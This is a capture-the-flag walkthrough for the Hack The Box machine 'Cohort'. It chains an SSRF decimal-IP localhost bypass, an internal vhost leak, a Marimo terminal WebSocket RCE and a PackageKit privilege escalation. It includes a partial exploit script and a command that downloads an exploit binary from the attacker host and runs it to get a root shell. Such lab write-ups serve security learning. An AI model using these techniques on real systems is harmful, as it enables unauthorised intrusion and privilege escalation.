Overview

Cohort is a Linux machine on Hack The Box that chains SSRF (with a localhost filter bypass), internal service discovery via an nginx status endpoint, a Marimo notebook pre-auth RCE (CVE-2026-39987) abusing an unauthenticated terminal WebSocket, and finally a PackageKit local privilege escalation (CVE-2026-41651 / Pack2TheRoot) to obtain root.


Recon

Nmap scan

nmap -sC -sV -p- -O -A --min-rate=10000 10.129.23.160

Findings:

  • 22/tcp SSH
  • 80/tcp HTTP (redirects to HTTPS)
  • 443/tcp HTTPS (vhost cohort.htb, wildcard cert *.cohort.htb)

Add host entry:

echo "10.129.23.160 cohort.htb" | sudo tee -a /etc/hosts

SSRF: Client Insights Portal

Browsing https://cohort.htb reveals an interesting endpoint used for client insights:

  • /portal.html

The portal allows setting a Source URL which the backend fetches—confirming an SSRF by pointing it to a controlled server:

python3 -m http.server 8000

SSRF Filter Bypass (localhost restriction)

Attempting to access internal/loopback targets is blocked:

For security, internal and loopback addresses are rejected.

A classic bypass is to encode 127.0.0.1 as a decimal IP:

  • 127.0.0.12130706433

So instead of:

http://127.0.0.1/

Use:

http://2130706433/

Internal Enumeration via /status

Fuzzing didn’t return much, but directory enumeration revealed:

  • /status returns 403 externally

Using SSRF + decimal IP:

http://2130706433/status

This leaks internal routing configuration:

{
  "service":"cohort-edge",
  "status":"ok",
  "generated_by":"nginx",
  "upstreams":[
    {"name":"marketing","host":"cohort.htb","root":"/var/www/cohort"},
    {"name":"insights-api","host":"cohort.htb","path":"/api/","target":"127.0.0.1:5000"},
    {"name":"notebooks","host":"nb-1be3782a8afd3ad5.cohort.htb","target":"127.0.0.1:8888","note":"internal analyst workspace, not for external use"}
  ]
}

Key Information

  • Internal vhost: nb-1be3782a8afd3ad5.cohort.htb
  • Internal target: 127.0.0.1:8888
  • Looks like an internal notebook platform.

Add vhost:

echo "10.129.23.160 nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts

Foothold: Marimo pre-auth RCE (CVE-2026-39987)

Visiting:

  • https://nb-1be3782a8afd3ad5.cohort.htb/

Shows a Marimo login requiring an access token.

Researching Marimo reveals a critical issue:

CVE-2026-39987 — Terminal WebSocket Missing Authentication

The terminal WebSocket endpoint accepts connections without auth and spawns a PTY shell.

Exploit idea:

  • Connect to the WebSocket endpoint
  • Send commands interactively
  • Get a shell as the notebook user

Exploit (interactive WS terminal shell)

#!/usr/bin/env python3
import asyncio
import websockets
import ssl
import sys

async def reader(ws):
    while True:
        try:
            msg = await ws.recv()
            print(msg, end='', flush=True)
        except:
            break

Full in pdf.

Run:

python3 exploit.py https://nb-1be3782a8afd3ad5.cohort.htb

Shell:

marimo@cohort:~$

Upgrade TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Grab user flag:

cat user.txt

Privilege Escalation: PackageKit LPE (CVE-2026-41651)

While enumerating local packages and services, PackageKit stood out:

  • PackageKit 1.2.8-2ubuntu1.2
  • Vulnerable to CVE-2026-41651 (Pack2TheRoot)
  • TOCTOU chain in transaction handling allows bypassing authorization → gain root via crafted installs.

Exploitation (CVE-2026-41651)

Transfer exploit (from attacker box):

wget 10.10.14.124/cve-2026-41651
chmod +x cve-2026-41651
./cve-2026-41651

Result:

  • Creates a SUID bash and spawns a root shell via effective UID:
uid=1000(marimo) gid=1000(marimo) euid=0(root)

Root flag:

cd /root
cat root.txt

Here’s a cleaner and more polished version:

Full Writeup (PDF)

The complete Hack The Box Cohort walkthrough—including all commands, screenshots, payloads, and explanations—is available below.

Download the PDF: Download the full Cohort writeup


If you have any questions, notice an issue, or have feedback about the writeup, feel free to reach out to me on Discord.